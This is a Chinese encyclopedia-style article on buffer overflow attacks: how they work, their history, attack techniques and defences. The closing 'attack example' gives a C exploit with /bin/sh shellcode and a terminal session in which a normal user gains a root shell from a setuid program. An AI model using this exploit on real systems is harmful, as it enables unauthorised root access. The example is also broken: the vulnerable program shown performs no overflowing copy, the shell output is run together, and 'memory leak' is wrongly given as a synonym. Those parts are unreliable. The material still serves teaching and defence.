特點
緩衝區溢出是指當計算機向緩衝區內填充數據位數時超過了緩衝區本身的容量,溢出的數據覆蓋在合法數據上。理想的情況是:程式會檢查數據長度,而且並不允許輸入超過緩衝區長度的字元。但是絕大多數程式都會假設數據長度總是與所分配的儲存空間相匹配,這就為緩衝區溢出埋下隱患。作業系統所使用的緩衝區,又被稱為“
堆疊”,在各個操作進程之間,指令會被臨時儲存在“堆疊”當中,“堆疊”也會出現
緩衝區溢出。
危害
可以利用它執行非授權指令,甚至可以取得系統特權,進而進行各種非法操作。
緩衝區溢出攻擊有多種英文名稱:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak,overrun screw;它們指的都是同一種攻擊手段。第一個緩衝區溢出攻擊--Morris
蠕蟲,發生在二十年前,它曾造成了全世界6000多台網路
伺服器癱瘓。
在當前網路與分散式
系統安全中,被廣泛利用的50%以上都是緩衝區溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕蟲。而
緩衝區溢出中,最為危險的是
堆疊溢出,因為入侵者可以利用堆疊溢出,在函式返回時改變返回程式的地址,讓其跳轉到任意地址,帶來的危害一種是程式崩潰導致拒絕服務,另外一種就是跳轉並且執行一段
惡意代碼,比如得到shell,然後為所欲為。
原理
通過往程式的
緩衝區寫超出其長度的內容,造成緩衝區的溢出,從而破壞程式的
堆疊,使程式轉而執行其它指令,以達到攻擊的目的。造成緩衝區溢出的原因是程式中沒有仔細檢查用戶輸入的參數。例如下面程式:
void function(char *str) {char buffer[16]; strcpy(buffer,str);}
當然,隨便往
緩衝區中填東西造成它溢出一般只會出現
分段錯誤(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過製造緩衝區溢出使程式運行一個用戶shell,再通過shell執行其它命令。如果該程式屬於root且有suid許可權的話,攻擊者就獲得了一個有
root許可權的shell,可以對系統進行任意操作了。
緩衝區溢出攻擊之所以成為一種常見安全攻擊手段其原因在於緩衝區溢出漏洞太普遍了,並且易於實現。而且,緩衝區溢出成為遠程攻擊的主要手段其原因在於
緩衝區溢出漏洞給予了攻擊者他所想要的一切:植入並且執行攻擊代碼。被植入的攻擊代碼以一定的許可權運行有緩衝區溢出漏洞的程式,從而得到被攻擊主機的控制權。
在1998年Lincoln實驗室用來評估
入侵檢測的的5種遠程攻擊中,有2種是緩衝區溢出。而在1998年CERT的13份建議中,有9份是是與緩衝區溢出有關的,在1999年,至少有半數的建議是和
緩衝區溢出有關的。在ugtraq的調查中,有2/3的被調查者認為緩衝區溢出漏洞是一個很嚴重的安全問題。
緩衝區溢出漏洞和攻擊有很多種形式,會在第二節對他們進行描述和分類。相應地防衛手段也隨者攻擊方法的不同而不同,將在第四節描述,它的內容包括針對每種攻擊類型的有效的防衛手段。
問題
緩衝區溢出攻擊的目的在於擾亂具有某些特權運行的程式的功能,這樣可以使得攻擊者取得程式的控制權,如果該程式具有足夠的許可權,那么整個主機就被控制了。一般而言,攻擊者攻擊root程式,然後執行類似“exec(sh)”的執行代碼來獲得
root許可權的shell。為了達到這個目的,攻擊者必須達到如下的兩個目標:
⒉ 通過適當的初始化
暫存器和記憶體,讓程式跳轉到入侵者安排的地址空間執行。
在程式的地址空間裡安排適當的代碼的方法
有兩種在被攻擊程式地址空間裡安排攻擊代碼的方法:
1、植入法
攻擊者向被攻擊的程式輸入一個字元串,程式會把這個字元串放到
緩衝區里。這個字元串包含的資料是可以在這個被攻擊的硬體平台上運行的指令序列。在這裡,攻擊者用被攻擊程式的緩衝區來存放攻擊代碼。緩衝區可以設在任何地方:
堆疊(stack,
自動變數)、堆(
heap,動態分配的記憶體區)和靜態資料區。
2、利用已經存在的代碼
有時,攻擊者想要的代碼已經在被攻擊的程式中了,攻擊者所要做的只是對代碼傳遞一些參數。比如,攻擊代碼要求執行“exec (bin/sh)”,而在libc庫中的代碼執行“exec (arg)”,其中arg是一個指向一個字元串的
指針參數,那么攻擊者只要把傳入的參數指針改向指向“/bin/sh”。
控制程式轉移到攻擊代碼的方法
所有的這些方法都是在尋求改變程式的執行流程,使之跳轉到攻擊代碼。最基本的就是溢出一個沒有邊界檢查或者其它弱點的
緩衝區,這樣就擾亂了程式的正常的執行順序。通過溢出一個緩衝區,攻擊者可以用暴力的方法改寫相鄰的程式空間而直接跳過了系統的檢查。
分類的基準是攻擊者所尋求的緩衝區溢出的程式空間類型。原則上是可以任意的空間。實際上,許多的緩衝區溢出是用暴力的方法來尋求改變程式指針的。這類程式的不同之處就是程式空間的突破和記憶體空間的定位不同。主要有以下三種:
1、活動紀錄(Activation Records)
每當一個
函式調用發生時,調用者會在
堆疊中留下一個活動紀錄,它包含了函式結束時返回的地址。攻擊者通過溢出堆疊中的
自動變數,使返回地址指向攻擊代碼。通過改變程式的返回地址,當函式調用結束時,程式就跳轉到攻擊者設定的地址,而不是原先的地址。這類的
緩衝區溢出被稱為
堆疊溢出攻擊(Stack Smashing Attack),是最常用的
緩衝區溢出攻擊方式。
2、
函式指針(Function Pointers)
函式指針可以用來定位任何
地址空間。例如:“void (* foo)()”聲明了一個
返回值為
void的函式指針變數foo。所以攻擊者只需在任何空間內的函式指針附近找到一個能夠溢出的緩衝區,然後溢出這個緩衝區來改變函式指針。在某一時刻,當程式通過函式指針調用函式時,程式的流程就按攻擊者的意圖實現了。它的一個攻擊範例就是在Linux系統下的superprobe程式。
3、長跳轉
緩衝區(Longjmp buffers)
在C語言中包含了一個簡單的檢驗/恢復系統,稱為
setjmp/longjmp。意思是在檢驗點設定“setjmp(buffer)”,用“longjmp(buffer)”來恢復檢驗點。然而,如果攻擊者能夠進入緩衝區的空間,那么“longjmp(buffer)”實際上是跳轉到攻擊者的代碼。象函式指針一樣,longjmp緩衝區能夠指向任何地方,所以攻擊者所要做的就是找到一個可供溢出的緩衝區。一個典型的例子就是Perl 5.003的緩衝區溢出漏洞;攻擊者首先進入用來恢復
緩衝區溢出的的longjmp緩衝區,然後誘導進入恢復模式,這樣就使
Perl的
解釋器跳轉到攻擊代碼上了。
代碼植入和流程控制技術的綜合分析
最簡單和常見的
緩衝區溢出攻擊類型就是在一個字元串里綜合了代碼植入和活動紀錄技術。攻擊者定位一個可供溢出的
自動變數,然後向程式傳遞一個很大的字元串,在引發緩衝區溢出,改變活動紀錄的同時植入了代碼。這個是由Levy指出的攻擊的模板。因為C在習慣上只為用戶和參數開闢很小的緩衝區,因此這種漏洞攻擊的實例十分常見。
代碼植入和緩衝區溢出不一定要在在一次動作內完成。攻擊者可以在一個緩衝區內放置代碼,這是不能溢出的緩衝區。然後,攻擊者通過溢出另外一個緩衝區來轉移程式的指針。這種方法一般用來解決可供溢出的
緩衝區不夠大(不能放下全部的代碼)的情況。
如果攻擊者試圖使用已經常駐的代碼而不是從外部植入代碼,他們通常必須把代碼作為參數調用。舉例來說,在libc(幾乎所有的
C程式都要它來連線)中的部分
代碼段會執行“exec(something)”,其中somthing就是參數。攻擊者然後使用緩衝區溢出改變程式的參數,然後利用另一個
緩衝區溢出使程式
指針指向libc中的特定的代碼段。
實驗
2000年1月,Cerberus 安全小組發布了微軟的ⅡS 4/5存在的一個
緩衝區溢出漏洞。攻擊該漏洞,可以使Web
伺服器崩潰,甚至獲取超級許可權執行任意的代碼。微軟的ⅡS 4/5 是一種主流的Web伺服器程式;因而,該緩衝區溢出漏洞對於網站的安全構成了極大的威脅;它的描述如下:
瀏覽器向ⅡS提出一個
HTTP請求,在域名(或
IP位址)後,加上一個檔案名稱,該檔案名稱以“.htr”做後綴。於是ⅡS認為客戶端正在請求一個“.htr”檔案,“.htr”擴展檔案被映像成ISAPI(Internet Service API)應用程式,ⅡS會復位向所有針對“.htr”資源的請求到 ISM.DLL程式 ,ISM.DLL 打開這個檔案並執行之。
瀏覽器提交的請求中包含的檔案名稱存儲在
局部變數緩衝區中,若它很長,超過600個字元時,會導致局部變數
緩衝區溢出,覆蓋返回
地址空間,使ⅡS崩潰。更進一步,在如圖1所示的2K緩衝區中植入一段精心設計的代碼,可以使之以系統超級許可權運行。
防範方法
緩衝區溢出攻擊占了遠程
網路攻擊的絕大多數,這種攻擊可以使得一個匿名的
Internet用戶有機會獲得一台主機的部分或全部的控制權。如果能有效地消除
緩衝區溢出的漏洞,則很大一部分的安全威脅可以得到緩解。
有四種基本的方法保護緩衝區免受
緩衝區溢出的攻擊和影響。
1.通過作業系統使得緩衝區不可執行,從而阻止攻擊者植入攻擊代碼。
2.強制寫正確的代碼的方法。
3.利用
編譯器的邊界檢查來實現緩衝區的保護。這個方法使得緩衝區溢出不可能出現,從而完全消除了緩衝區溢出的威脅,但是相對而言代價比較大。
4.一種間接的方法,這個方法在程式
指針失效前進行完整性檢查。雖然這種方法不能使得所有的
緩衝區溢出失效,但它能阻止絕大多數的緩衝區溢出攻擊。分析這種保護方法的兼容性和性能優勢。
非執行的緩衝區
通過使被攻擊程式的
數據段地址空間不可執行,從而使得攻擊者不可能執行被植入被攻擊程式輸入緩衝區的代碼,這種技術被稱為非執行的緩衝區技術。在早期的
Unix系統設計中,只允許程式代碼在
代碼段中執行。但是Unix和MS Windows系統由於要實現更好的性能和功能,往往在數據段中動態地放入可執行的代碼,這也是緩衝區溢出的根源。為了保持程式的兼容性,不可能使得所有程式的數據段不可執行。
但是可以設定
堆疊數據段不可執行,這樣就可以保證程式的兼容性。Linux和Solaris都發布了有關這方面的核心補丁。因為幾乎沒有任何合法的程式會在堆疊中存放代碼,這種做法幾乎不產生任何兼容性問題,除了在Linux中的兩個特例,這時可執行的代碼必須被放入堆疊中:
⑴信號傳遞
Linux通過向進程堆疊釋放代碼然後引發中斷來執行在堆疊中的代碼來實現向進程傳送Unix信號。非執行
緩衝區的補丁在傳送信號的時候是允許緩衝區可執行的。
⑵GCC的線上重用
研究發現gcc在堆疊區里放置了可執行的代碼作為線上重用之用。然而,關閉這個功能並不產生任何問題,只有部分功能似乎不能使用。
非執行
堆疊的保護可以有效地對付把代碼植入
自動變數的緩衝區溢出攻擊,而對於其它形式的攻擊則沒有效果。通過引用一個駐留的程式的
指針,就可以跳過這種保護措施。其它的攻擊可以採用把代碼植入堆或者
靜態數據段中來跳過保護。
編寫正確的代碼
編寫正確的代碼是一件非常有意義的工作,特別象編寫C語言那種風格自由而容易出錯的程式,這種風格是由於追求性能而忽視正確性的傳統引起的。儘管花了很長的時間使得人們知道了如何編寫安全的程式,具有
安全漏洞的程式依舊出現。因此人們開發了一些工具和技術來幫助經驗不足的程式設計師編寫安全正確的程式。
此外,人們還開發了一些高級的查錯工具,如fault injection等。這些工具的目的在於通過人為隨機地產生一些
緩衝區溢出來尋找代碼的安全漏洞。還有一些
靜態分析工具用於偵測緩衝區溢出的存在。
雖然這些工具幫助程式設計師開發更安全的程式,但是由於
C語言的特點,這些工具不可能找出所有的緩衝區溢出漏洞。所以,偵錯技術只能用來減少緩衝區溢出的可能,並不能完全地消除它的存在。
相關對策
每個
堆疊幀都對應一個
函式調用。當函式調用發生時,新的堆疊幀被壓入堆疊;當函式返回時,相應的堆疊幀從堆疊中彈出。儘管堆疊幀結構的引入為在高級語言中實現函式或過程這樣的概念提供了直接的硬體支持,但是由於將函式返回地址這樣的重要數據保存在程式設計師可見的堆疊中,因此也給系統安全帶來了極大的隱患。
歷史上最著名的
緩衝區溢出攻擊可能要算是1988年11月2日的Morris Worm所攜帶的攻擊代碼了。這個網際網路
蠕蟲利用了fingerd程式的緩衝區溢出漏洞,給用戶帶來了很大危害。此後,越來越多的緩衝區溢出漏洞被發現。從bind、wu-ftpd、telnetd、
apache等常用服務程式,到Microsoft、
Oracle等軟體廠商提供的應用程式,都存在著似乎永遠也彌補不完的緩衝區溢出漏洞。
根據
綠盟科技提供的漏洞報告,2002年共發現各種作業系統和應用程式的漏洞1830個,其中緩衝區溢出漏洞有432個,占總數的23.6%. 而綠盟科技評出的2002年嚴重程度、影響範圍最大的十個
安全漏洞中,和
緩衝區溢出相關的就有6個。
攻擊實例
#include <unistd.h>
extern char **environ;
int main(int argc,char **argv){
char large_string[128];
long *long_ptr = (long *) large_string;
int i;
char shellcode[] = "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07" "\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d" "\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd" "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) strtoul(argv[2],NULL,16);
for (i = 0; i < (int) strlen(
shellcode); i++)
large_string[i] = shellcode[i]; setenv("KIRIKA",large_string,1);
execle(argv[1],argv[1],NULL,environ);
return 0;}
攻擊程式exe.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char **argv){
char buffer[96];
return 0;}
攻擊對象toto.c
將上面兩個程式分別編譯為可執行程式,並且將
toto改為屬主為root的setuid程式:
$ gcc exe.c -o exe$ gcc toto.c -o toto$ suPassword:# chown root.root toto# chmod +s toto# ls -l exe toto-rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe*-rwsr-sr-x 1 root root 11269 Sep 28 20:20
toto*# exit
$ whoamiwy$ ./exe ./toto 0xbfffffff- 0xbffffc38 -Segmentation fault$ ./exe ./toto 0xbffffc38- 0xbffffc38 -bash# whoamirootbash#
第一次一般不會成功,但是我們可以準確得知系統的漏洞所在――0xbffffc38,第二次必然一擊斃命。當我們在新創建的shell下再次執行
whoami命令時,我們的身份已經是root了!由於在所有UNⅨ系統下
黑客攻擊的最高目標就是對
root許可權的追求,因此可以說系統已經被攻破了。
通過模擬一次
Linux下緩衝區溢出攻擊的典型案例。
toto的屬主為root,並且具有setuid屬性,通常這種程式是
緩衝區溢出的典型攻擊目標。普通用戶wy通過其含有惡意攻擊代碼的程式exe向具有缺陷的toto發動了一次緩衝區溢出攻擊,並由此獲得了系統的root許可權。有一點需要說明的是,如果讀者使用的是較高版本的
bash的話,即使通過緩衝區溢出攻擊exe得到了一個新的shell,在看到
whoami命令的結果後您可能會發現您的許可權並沒有改變。使用本文代碼包中所帶的exe_pro.c作為攻擊程式,而不是exe.c。